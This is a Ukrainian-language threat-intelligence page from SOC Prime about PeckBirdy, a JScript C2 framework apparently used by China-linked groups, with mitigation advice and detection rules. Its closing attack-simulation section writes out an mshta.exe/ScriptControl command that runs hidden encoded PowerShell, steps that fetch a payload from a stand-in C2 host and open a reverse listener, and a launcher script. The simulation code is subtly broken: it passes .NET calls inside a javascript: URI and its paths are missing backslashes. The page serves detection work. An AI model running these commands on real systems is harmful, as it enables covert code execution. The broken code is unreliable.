SOC Prime Bias: Критичний

26 Jan 2026 19:08 UTC

PeckBirdy: Багатофункціональна скриптова рамка для експлуатації LOLBins, використовувана групами загроз, пов’язаними з Китаєм

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
PeckBirdy: Багатофункціональна скриптова рамка для експлуатації LOLBins, використовувана групами загроз, пов’язаними з Китаєм
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

PeckBirdy – це фреймворк команд та контролю на основі JScript, який використовується APT-акторами, пов’язаними з Китаєм, для зловживання вбудованими бінарниками та розгортання модульних бекдорів, включаючи HOLODONUT та MKDOOR. Він розроблений для виконання на декількох програмах — веб-браузерах, MSHTA, WScript, NodeJS та .NET — та підтримує кілька варіантів транспорту, таких як WebSocket, Flash, Comet та HTTP. Фреймворк було помічено у кампаніях, відстежуваних як SHADOW-VOID-044 та SHADOW-EARTH-045, що націлювались на онлайн-ресурси для азартних ігор, державні веб-портали Азії та навчальний організаційний сектор.

Розслідування

Дослідники повідомили про ін’єкції шкідливих скриптів на компрометованих сайтах азартних ігор та урядових сторінках, які завантажували завантажувач PeckBirdy, що потім отримував наступні корисні навантаження — особливо експлойти для Chrome (CVE-2020-16040) та додаткові компоненти бекдору. Діяльність була пов’язана з двома модульними імплантами, HOLODONUT та MKDOOR, та пов’язана з попередньо спостережуваними групами та шаблонами інфраструктури. Аналіз також каталогізував індикатори компрометації, включаючи IP-адреси, домени та операційні деталі, такі як використання вкрадених сертифікатів підпису коду.

Пом’якшення

Блокуйте виявлені шкідливі домени та IP-адреси, та здійснюйте моніторинг нетипового використання LOLBin та виконання скриптів через MSHTA, WScript та NodeJS. Виявляти створення unique_id файлу у %TEMP% та впроваджувати сувалу перевірку сертифікатів підпису коду. Покриття відомих корисних навантажень Cobalt Strike та зібраних .NET збірок від Donut може допомогти в зниженні ризику.

Відповідь

Якщо виявлено, ізолюйте уражені системи, збирайте ін’єктовані скрипти та будь-які створені бекдор-бінарники, та блокуйте пов’язану C2-інфраструктуру. Проведіть судово-експертну тріаж для виявлення бокового переміщення та оновіть логіку виявлення для спостережуваних командних артефактів та шаблонів мережевого трафіку.

Потік атаки

Виявлення

LOLBAS WScript / CScript (через process_creation)

Команда SOC Prime
26 січня 2026

Підозрілий LOLBAS MSHTA Заковика оборонного ухилення за виявленням пов’язаних команд (через process_creation)

Команда SOC Prime
26 січня 2026

Підозрілі зміни виключень захисника через WMIC (через cmdline)

Команда SOC Prime
26 січня 2026

IOCs (HashSha1) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм

AI Регламенти SOC Prime
26 січня 2026

IOCs (SourceIP) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм

AI Регламенти SOC Prime
26 січня 2026

IOCs (DestinationIP) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм

AI Регламенти SOC Prime
26 січня 2026

MSHTA та використання ScriptControl для виконання PeckBirdy [Створення процесу Windows]

AI Регламенти SOC Prime
26 січня 2026

Виявлення шкідливої ін’єкції скриптів PeckBirdy та збір облікових даних [Веб сервер]

AI Регламенти SOC Prime
26 січня 2026

Виконання симуляції

Попередня умова: Попередня перевірка телеметрії та базових показників має бути успішною.

Підстава: Цей розділ детально описує точне виконання техніки, розробленої для викликання правила виявлення. Команди та наратив МУСЯТЬ безпосередньо відображати ідентифіковані TTP та спрямовуватись на створення очікуваної телеметрії логікою виявлення.

  • Довідник атаки та команди:
    Зловмисник бажає встановити канал дистанційного управління використовуючи фреймворк скриптів. Вони обирають script framework. They choose mshta.exe оскільки це підписаний бінарник Windows, що обходить більшість списків дозволів додатків. Корисне навантаження вбудовує ActiveX ScriptControl об’єкт для виконання коду JScript, вилученого з сервера C2. Кроки такі:

    1. Завантажити шкідливе завантаження JScript з C2 (наприклад, http://malicious.c2/payload.js).
    2. Запустити mshta.exe з вбудованим URI javascript: створює ScriptControl екземпляр, завантажує завантажений скрипт і виконує його.
    3. Код JScript створює зворотний TCP-серверний прослуховувач, завершуючи закладку.

    Точна командна строка, яка створює телеметрію:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    Ця команда містить обидва mshta.exe і рядок ScriptControl, що задовольняє умову Sigma.

  • Скрипт регресійного тестування:
    Наведений нижче скрипт автоматизує зловмисний виклик mshta . Його можна виконати на тестовій робочій станції за адміністративного акаунту.

    #-------------------------------------------------
    # Виконання PeckBirdy через mshta + ScriptControl
    #-------------------------------------------------
    $c2Url   = "http://malicious.c2/payload.js"
    $jsCode  = @"
    var sc = new ActiveXObject('ScriptControl');
    sc.Language = 'JScript';
    // Простий маяк – замініть на реальне корисне навантаження
    sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");');
    "@
    
    # Закодуйте корисне навантаження JScript, щоб уникнути проблем з розривом рядків
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))
    
    $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"
    
    Write-Host "[*] Запуск зловмисного mshta..."
    Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow
  • Команди очищення:
    Видаліть будь-які артефакти, створені під час тесту (наприклад, тимчасовий файл).

    #-------------------------------------------------
    # Очищення після симуляції PeckBirdy
    #-------------------------------------------------
    Write-Host "[*] Очищення тестових артефактів..."
    Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
    # Зупиніть будь-які залишкові процеси mshta, запущені під час тесту
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force